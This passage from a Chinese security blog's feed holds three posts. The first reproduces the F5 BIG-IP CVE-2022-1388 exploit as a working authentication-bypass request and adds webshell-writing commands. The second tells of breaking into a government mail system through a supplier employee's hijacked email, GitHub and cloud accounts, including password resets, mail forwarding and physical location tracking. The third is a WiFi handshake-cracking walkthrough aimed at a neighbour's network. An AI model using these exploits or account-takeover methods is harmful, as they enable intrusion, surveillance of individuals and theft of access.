&lt;p&gt;外面第三方软件有很多，我找了一下找到了一个Passper for Excel.exe的软件，看了一下应该也是调用的John，支持GUI图形化，建议有需要直接使用这个，搜索相关Passper for Excel crack。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>CVE-2022-1388 F5 BIG-IP未授权RCE漏洞&amp;写Webshell</title><link>https://astro-pure.js.org/blog/cve-2022-1388-f5-rce</link><guid isPermaLink="true">https://astro-pure.js.org/blog/cve-2022-1388-f5-rce</guid><description>CVE-2022-1388 F5 BIG-IP未授权RCE漏洞&amp;写Webshell</description><pubDate>Sat, 17 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;h2&gt;漏洞描述&lt;/h2&gt;
&lt;p&gt;漏洞描述:&lt;/p&gt;
&lt;p&gt;在 F5 BIG-IP 16.1.x 16.1.2.2 之前的版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的&lt;/p&gt;
&lt;p&gt;14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x和 11.6.x 版本，未公开的请求可能会绕过&lt;/p&gt;
&lt;p&gt;iControl REST 身份验证。注意：未评估已达到技术支持终止 (EoTS) 的软件版本.&lt;/p&gt;
&lt;h2&gt;复现过程&lt;/h2&gt;
&lt;p&gt;HTTP请求包如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-makefile&quot;&gt;POST /mgmt/tm/util/bash HTTP/1.1
Host:xxxxxxx
Connection: keep-alive, x-F5-Auth-Token
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Content-Length: 45
Content-Type:application/json
{
&quot;command&quot;:&quot;run&quot;,
&quot;utilCmdArgs&quot;:&quot;-c id&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539049077-3b2d71.DcUV3Pz7.png&amp;#x26;w=1155&amp;#x26;h=618&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;EXP/POC&lt;/h2&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yuque.com/attachments/yuque/0/2023/zip/21847644/1679539049196-4c895cab-9353-4e7d-812d-47e63cd52a89.zip&quot;&gt;CVE-2022-1388-EXP-main.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;Webshell写入&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539049329-5fa761.6v5QdWwg.png&amp;#x26;w=469&amp;#x26;h=95&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;反弹获得了shell。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;Webshell的写入可以参考另外一个漏洞F5 BIG-IP CVE-2020-5902&lt;/p&gt;
&lt;p&gt;写入的路径为：/usr/local/www&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mount -o remount -rw /usr
echo &quot;&amp;#x3C;?php phpinfo();?&gt; &quot; &gt; /usr/local/www/test.php
mount -o remount -r /usr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问路径：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539049463-486a2f.2PSPvNne.png&amp;#x26;w=1112&amp;#x26;h=958&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539049561-7bae7d.CMg3jgUU.png&amp;#x26;w=489&amp;#x26;h=521&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bbs.sangfor.com.cn/forum.php?mod=viewthread&amp;#x26;tid=116003&quot;&gt;F5 BIG-IP远程代码执行漏洞复现（CVE-2020-5902） &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/8008#toc-20&quot;&gt;CVE-2020-5902:F5 BIG-IP RCE分析研究&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>记一次从供应商到目标之旅</title><link>https://astro-pure.js.org/blog/supply-chain-attack-case</link><guid isPermaLink="true">https://astro-pure.js.org/blog/supply-chain-attack-case</guid><description>记一次从供应商到目标之旅</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;因涉及敏感信息较多，厚码见谅。&lt;/p&gt;
&lt;p&gt;最近一段时间有个项目，当时对某个单位目标进行了信息收集，该系统是一个邮件系统。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;目标：XXX.gov.cn 某个政务级目标&lt;/p&gt;
&lt;p&gt;系统：自建的邮件服务系统&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;系统有滑块验证，因此从web爆破邮箱的作用不大，同时，服务端也没有真实IP可以走协议爆破。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539045321-5e9c6c.D_xTk2sN.png&amp;#x26;w=1174&amp;#x26;h=532&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;然后对该系统进行了信息收集，同时利用天眼查查询到目标所属资产的供应商为XXXX公司。该公司承包了该市级单位绝大部分的第三方系统开发，属于是很有价值的供应商，随即改变想法准备去从供应商下手。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x2 供应商信息收集&lt;/h2&gt;
&lt;p&gt;XX科技&lt;/p&gt;
&lt;p&gt;网址：testteam.com&lt;/p&gt;
&lt;p&gt;法人邮箱：188888888&lt;a href=&quot;/qq.com&quot;&gt;_@_qq.com &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;法人手机号：18888888888&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;下属公司&lt;/p&gt;
&lt;p&gt;XXX()科技&lt;/p&gt;
&lt;p&gt;网址：1.testteam.com&lt;/p&gt;
&lt;p&gt;法人邮箱：13333333&lt;a href=&quot;/qq.com&quot;&gt;_@_qq.com &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;法人手机号：13333333333&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;能从公开渠道查到的信息就只有这些，把收集到来的信息资产做了个查询，发现没啥可以利用的点，决定还是从网站入手。&lt;/p&gt;
&lt;p&gt;扫描域名，只获得了一个IP，查询历史解析也没有多余的的IP，对这个IP进行全端口扫描，对外开放IP只有3389和443、80这种端口，而且是云服务器，子域名也没有多余的资产。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539045610-eaf5db.BpMzHoph.png&amp;#x26;w=1072&amp;#x26;h=508&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;不过发现网站目录中提供了一个OA登录的接口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539045797-b62caa.DJueq0aV.png&amp;#x26;w=1020&amp;#x26;h=593&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;利用弱口令登录尝试，输入账号后返回空白，但实际上是登录成功了的。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539045896-dd8c75.BnQlY64v.png&amp;#x26;w=1199&amp;#x26;h=652&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;不过登录流程逻辑可能有点问题，需要手动改请求和访问路径才可以到后台。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046042-9223d7.CTx09aW4.png&amp;#x26;w=1695&amp;#x26;h=401&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;到了供应商后台也没有发现什么信息，资产又少，所以决定从员工下手。&lt;/p&gt;
&lt;p&gt;众所周知，github的开发者常常喜欢放一些项目资料上去，一些脚本中的泄露账号密码此类的，于是我在GitHub上收集了到了疑似该公司的人。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046137-b7b0c1.VGmPcIbe.png&amp;#x26;w=1252&amp;#x26;h=278&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;他的项目仓库里面存有该公司的手册，同时我在另外一个项目找到了他的一个书签和口令密码，决定深挖此员工。&lt;/p&gt;
&lt;h2&gt;0x3 员工信息收集&lt;/h2&gt;
&lt;p&gt;从他的项目代码来看，不少都是本地的localhostIP,不过有个别的书签地址引起了我的注意，其中一个是小米官网。&lt;/p&gt;
&lt;p&gt;根据现有的资产，该员工分别使用三个邮箱，分别为新浪和QQ，猜中他主要使用哪个邮箱也很容易，比如，查查小米的绑定。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046220-4ed085.C1iKWKFb.png&amp;#x26;w=743&amp;#x26;h=414&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046305-cc25ac.B8nRyEiN.png&amp;#x26;w=649&amp;#x26;h=356&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;利用找回密码功能获得小米的绑定邮箱，同时也获取到了该员工常用的邮箱。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;利用之前获取到的口令使用网易邮箱大师登录网易邮箱，简略看了一下往来邮件，没啥太大的价值，为了避免后面打草惊蛇，给邮箱设置转发控下该邮箱。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046414-b9a2e1.ByKj4hJu.png&amp;#x26;w=1197&amp;#x26;h=645&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;随即使用该邮箱登录小米账号。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046511-d8d49c.CT4t2ady.png&amp;#x26;w=1449&amp;#x26;h=748&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;从个人收货地址获得了真实姓名和物理地址，确定了是属于该公司的物理地址，随即使用小米云服务定位到个人。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046658-a3bc30.Bl4bJjAz.png&amp;#x26;w=1240&amp;#x26;h=573&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;接着利用邮件中的地址，登录51job查看该员工简历。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046779-579563.CL-G3tok.png&amp;#x26;w=1231&amp;#x26;h=545&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;也从该员工的历史信息中确定曾经在在目标公司的员工。&lt;/p&gt;
&lt;p&gt;同时，从QQ邮箱中获取到了一些平台的账号。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539046870-cef25d.hTF47E3r.png&amp;#x26;w=1203&amp;#x26;h=848&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;从这些平台中登录了几个平台，不过都与目标无关系。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047000-5e7448.DKNDO7yz.png&amp;#x26;w=1215&amp;#x26;h=789&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;这个时候我已经在思考一个问题了，就是我拿了这么多信息，但是目标公司的OA，或者是内部交流使用什么渠道还不得知，无法从个人打到内部上去，内部肯定有一个通讯的地方，但是到目前为止，除了刚开始看到的技能手册，还没有看到该公司的任何信息，单纯的收集一些这种信息没啥用。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x4 协同软件信息收集&lt;/h2&gt;
&lt;p&gt;1.腾讯文档&lt;/p&gt;
&lt;p&gt;2.金山办公&lt;/p&gt;
&lt;p&gt;3.钉钉&lt;/p&gt;
&lt;p&gt;4.语雀&lt;/p&gt;
&lt;p&gt;5.企业微信&lt;/p&gt;
&lt;p&gt;6.微云&lt;/p&gt;
&lt;p&gt;7.飞书&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;第二天，我依然坚持不懈的去找供应商的信息。&lt;/p&gt;
&lt;p&gt;我在想既然官网没有业务或者OA，那么他们用什么平台去交流或者通讯呢？&lt;/p&gt;
&lt;p&gt;这里我尝试了语雀/飞书/有道云笔记/钉钉/印象笔记/WPS此类的软件，经过几次尝试后，大部分账号我都可以用获取到的口令登录，钉钉和企业微信我都可以登录，但是都需要手机号验证，也许用的是两个中的一种，没得搞。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047116-bf4ee1.ay4DvcHn.png&amp;#x26;w=1229&amp;#x26;h=763&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;语雀和腾讯文档都没写啥东西，没得搞。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047232-d54f63.CBEa1SSQ.png&amp;#x26;w=1222&amp;#x26;h=550&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;微云除了个人资料之外，没有任何公司的信息，也没啥用。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;那么只剩下WPS了。&lt;/p&gt;
&lt;p&gt;这个时候比较有意思的来了，金山文档多多少少肯定有在使用的，我用他的账号去重置为他的常用密码即可，因为他的密码规律都差不多，我赌他自己发现密码错了拿常用密码试进去了不会多想。&lt;/p&gt;
&lt;p&gt;但是呢，这个WPS的修改密码一直没有发到我的转发邮箱里面来，然后使用了github绑定的QQ+常用密码试进去了一个。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047326-6c4c9d.Ch8uDd0N.png&amp;#x26;w=1216&amp;#x26;h=769&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047417-4ba61f.AcU2v_At.png&amp;#x26;w=1361&amp;#x26;h=648&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;登录进去之后，yes！ 终于有目标资产的信息了，是一份公司的员工通讯录名单。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047567-80ed6d.BPBkBdQz.png&amp;#x26;w=685&amp;#x26;h=695&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;其实搞到这里就没准备搞了，因为确定不了目标使用的通讯平台，目标资产又较少，从员工打下去也不好说，接着从员工突破下去极有可能是徒劳的耗费时间。&lt;/p&gt;
&lt;p&gt;想想从员工搞过来这条路，运气蛮好的，凡是邮箱设置了一个二次登录验证或者他密码规则改强一点，都拿不到这份通讯录，这个员工基本上啥信息都拿到了，我感觉可能使用的是钉钉，但是钉钉需要刷人脸登录。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x5 拿到目标&lt;/h2&gt;
&lt;p&gt;搞到这里我就开始反思，这条路似乎是拿不下来目标了，一没拿到源码，二是没有拿到系统的密码，供应商也没有较大的突破。&lt;/p&gt;
&lt;p&gt;看他使用github的比较多，我决定修改他的GitHub密码去翻仓库代码。&lt;/p&gt;
&lt;p&gt;使用刚开始控制的新浪邮箱修改了他密码为他的常用口令，登录成功。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047660-02178d.CvM8bkFk.png&amp;#x26;w=1382&amp;#x26;h=683&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047760-a83c5a.DAabWbY4.png&amp;#x26;w=1166&amp;#x26;h=47&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在查看他的所有仓库代码的时候，意外的找到了目标系统的一个口令，密码是一个常见的密码，账号比较长，属于是运气极佳了。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;使用该账号登录成功，并且还是管理员属性。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679539047841-1e6363.BLjN9Kwx.png&amp;#x26;w=1235&amp;#x26;h=497&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;最终拿到后台权限。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x6 总结&lt;/h2&gt;
&lt;p&gt;没啥技术的一次渗透，运气是第一要素，环环相扣，干就完了。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>我偷他的网</title><link>https://astro-pure.js.org/blog/wifi-security-analysis</link><guid isPermaLink="true">https://astro-pure.js.org/blog/wifi-security-analysis</guid><description>我偷他的网</description><pubDate>Sun, 06 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本文章仅作为技术学习交流，请不要随意拿邻居开刀。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;提前准备&lt;/h2&gt;
&lt;p&gt;你需要如下材料&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个支持监听的无线网卡设备&lt;/li&gt;
&lt;li&gt;一个强大的WiFi字典&lt;/li&gt;
&lt;li&gt;一个有WiFi的地方&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最近流量不够用了，想着偷个网试试，看了一下周边的WiFi布局。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491542768-8fcc44.D79FoTFk.png&amp;#x26;w=336&amp;#x26;h=502&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;还是有一些WIFI设备的，然后开始尝试能不能搞一个来。&lt;/p&gt;
&lt;h2&gt;技术原理&lt;/h2&gt;
&lt;h3&gt;WiFi认证&lt;/h3&gt;
&lt;p&gt;大家都知道WiFi大略是有四种支持格式的，&lt;/p&gt;
&lt;p&gt;1、不启用安全&lt;/p&gt;
&lt;p&gt;2、WEP&lt;/p&gt;
&lt;p&gt;3、WPA/WPA2-PSK&lt;/p&gt;
&lt;p&gt;4、WPA/WPA2 802.1X （radius认证）&lt;/p&gt;
&lt;p&gt;一般我们设置的都是第三种。&lt;/p&gt;
&lt;h3&gt;WPA-PSK的认证过程&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491542893-0e5289.ay1foiXz.png&amp;#x26;w=453&amp;#x26;h=509&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;1、无线AP定期发送beacon数据包，使无线终端更新自己的无线网络列表。&lt;/p&gt;
&lt;p&gt;2、无线终端在每个信道（1-13）广播ProbeRequest（非隐藏类型的WiFi含ESSID，隐藏类型的WiFi不含ESSID）&lt;/p&gt;
&lt;p&gt;3、每个信道的AP回应，ProbeResponse，包含ESSID，及RSN信息&lt;/p&gt;
&lt;p&gt;4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种，0为开放式、1为共享式（WPA/WPA2必须是开放式）&lt;/p&gt;
&lt;p&gt;5、AP回应网卡AUTH包&lt;/p&gt;
&lt;p&gt;6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包&lt;/p&gt;
&lt;p&gt;8、EAPOL四次握手进行认证（握手包是破解的关键）&lt;/p&gt;
&lt;p&gt;9、完成认证可以上网。&lt;/p&gt;
&lt;h3&gt;WPA-PSK认证四次握手认证的过程&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491542975-cb13d8.CvRpoDQD.png&amp;#x26;w=590&amp;#x26;h=577&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;WPA-PSK破解原理&lt;/h3&gt;
&lt;p&gt;用我们字典中的PSK+ssid先生成PMK（此步最耗时，是目前破解的瓶颈所在），然后结合握手包中的客户端MAC，AP的BSSID，A-NONCE，S-NONCE计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。&lt;/p&gt;
&lt;p&gt;如图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543073-cf97c1.4jntrLzi.png&amp;#x26;w=541&amp;#x26;h=517&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;所以还是爆破握手包的方式来获得密码，由于是通过暴力破解方式破解Wifi密码，所以你需要下载一些强大的字典，字典可以直接在Github上搜索，或者直接google。&lt;/p&gt;
&lt;h2&gt;开偷&lt;/h2&gt;
&lt;h3&gt;启动网卡&lt;/h3&gt;
&lt;p&gt;我这里使用的是Kali，插入无线网卡的时候请选择和虚拟机相连。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ifconfig-a /此命令查看所有网络设备器
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543156-db4965.T3ufjPHn.png&amp;#x26;w=729&amp;#x26;h=425&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;如果你的连接没有出错，此时应该会有一张名为&lt;code&gt;wlan0&lt;/code&gt;的网卡设备。&lt;/p&gt;
&lt;p&gt;接着使用命令,激活这张网卡，如果不回显则开启成功。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ifconfig wlan0 up
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;激活网卡为监听（monitor）模式&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airmon-ng start wlan0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543244-03e7fd.mAuntRen.png&amp;#x26;w=823&amp;#x26;h=304&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;同时，你的无线网卡应该会有指示灯之类的亮起（看型号，是否启用成功还是看上图结果）&lt;/p&gt;
&lt;p&gt;得到监控模式下的设备名是wlan0mon，请记住这个名字，后续有用。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;探测周围无线网络&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;我现在连接的是我自己的手机热点，插入无线网卡后开始嗅探周围的WIFI设备。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng wlan0mon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看周边路由AP的信息。&lt;/p&gt;
&lt;p&gt;个人经验一般信号强度大于-70的可以进行破解，大于-60就最好了，小于-70的不稳定，信号比较弱。（信号强度的绝对值越小表示信号越强）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543334-45afb4.D7E0zZtT.png&amp;#x26;w=809&amp;#x26;h=576&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里我们将会对 游走老火锅 这个WiFi进行攻击，所以我们需要记录下对应的 &lt;code&gt;BSSID&lt;/code&gt; 以及 &lt;code&gt;CH&lt;/code&gt; ，这两个值分别是WiFi唯一标识和信道。 建议选择 &lt;code&gt;PWR&lt;/code&gt; 较小的WiFi，因为这意味着信号较好。&lt;/p&gt;
&lt;p&gt;如果要弄懂这些参数都是什么，我贴两张网上的图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543469-582611.3cqLg9DB.png&amp;#x26;w=690&amp;#x26;h=454&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543577-098ae0.Dlq9tBe-.png&amp;#x26;w=558&amp;#x26;h=404&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1679491543679-402904.BnwxgBfr.png&amp;#x26;w=690&amp;#x26;h=400&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;选择要破解的WiFi，有针对性的进行抓握手包&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的 &lt;code&gt;-c&lt;/code&gt; 参数代表了信道号， &lt;code&gt;--bssid&lt;/code&gt; 代表此WiFi的唯一标识。&lt;/p&gt;
&lt;p&gt;执行后等待一会，输出结果如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;fundamental     CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
      BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
      14:75:90:9E:29:8E  -37   1       89     4294  299  11  270   WPA2 CCMP   PSK  203
      BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
      14:75:90:9E:29:8E  48:7D:2E:B3:04:DF  -29    0 - 1e     0        7
